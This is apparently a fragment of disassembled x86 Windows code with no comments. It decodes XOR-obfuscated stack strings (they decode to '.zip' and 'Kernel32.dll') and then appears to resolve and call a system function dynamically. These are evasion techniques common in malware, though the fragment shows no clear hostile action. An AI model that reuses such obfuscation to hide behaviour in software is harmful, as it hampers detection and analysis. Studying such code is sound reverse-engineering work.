lea ecx, [esp + 0x1b8]
call fcn.00403a7d
lea ecx, [esp + 0x1d0]
call fcn.00403a7d
lea ecx, [esp + 0x1e8]
call fcn.00403a7d
lea ecx, [esp + 0x200]
call fcn.00403a7d
lea ecx, [esp + 0x128]
call fcn.00403a7d
lea ecx, [esp + 0x40]
call fcn.00403a7d
mov cl, 0xc
mov dword [esp + 0x10], 0x6576220c
mov word [esp + 0x14], 0x7c
mov eax, ebx
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 4
jae 0x40380c
mov cl, byte [esp + 0x10]
jmp 0x4037fc
lea eax, [esp + 0x11]
mov byte [esp + 0x15], bl
push eax
push 0x4a19d0
mov edx, 0x4a3b38
lea ecx, [esp + 0x268]
call fcn.00403dc5
pop ecx
mov edx, eax
lea ecx, [esp + 0x74]
call fcn.00403d96
pop ecx
push eax
push 0x4a3b20
lea eax, [esp + 0x238]
mov ecx, edi
push eax
push 0x4a3af0
call fcn.00461a42
lea ecx, [esp + 0x70]
call fcn.00403a7d
lea ecx, [esp + 0x260]
call fcn.00403a7d
push 1
mov ecx, edi
call fcn.0040390a
mov ecx, dword [0x49d108]
push 1
push 0x4a3b08
call fcn.00401604
mov cl, 0x2a
mov dword [esp + 0x21], 0x584f612a
mov dword [esp + 0x25], 0x19464f44
mov eax, ebx
mov dword [esp + 0x29], 0x464e0418
mov word [esp + 0x2d], 0x46
xor byte [esp + eax + 0x22], cl
inc eax
cmp eax, 0xc
jae 0x4038b5
mov cl, byte [esp + 0x21]
jmp 0x4038a5
mov edx, 0x4940c4
mov byte [esp + 0x2e], bl
lea ecx, [esp + 0x22]
call fcn.004014b3
mov ecx, 0x4a3b20
mov esi, eax
call fcn.004039e7
push eax
call esi
lea ecx, [esp + 0x230]
call fcn.00403a7d
lea ecx, [esp + 0x140]
call fcn.00403a7d
lea ecx, [esp + 0xf8]
call fcn.00403a7d
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
xor eax, eax
jmp 0x4038fd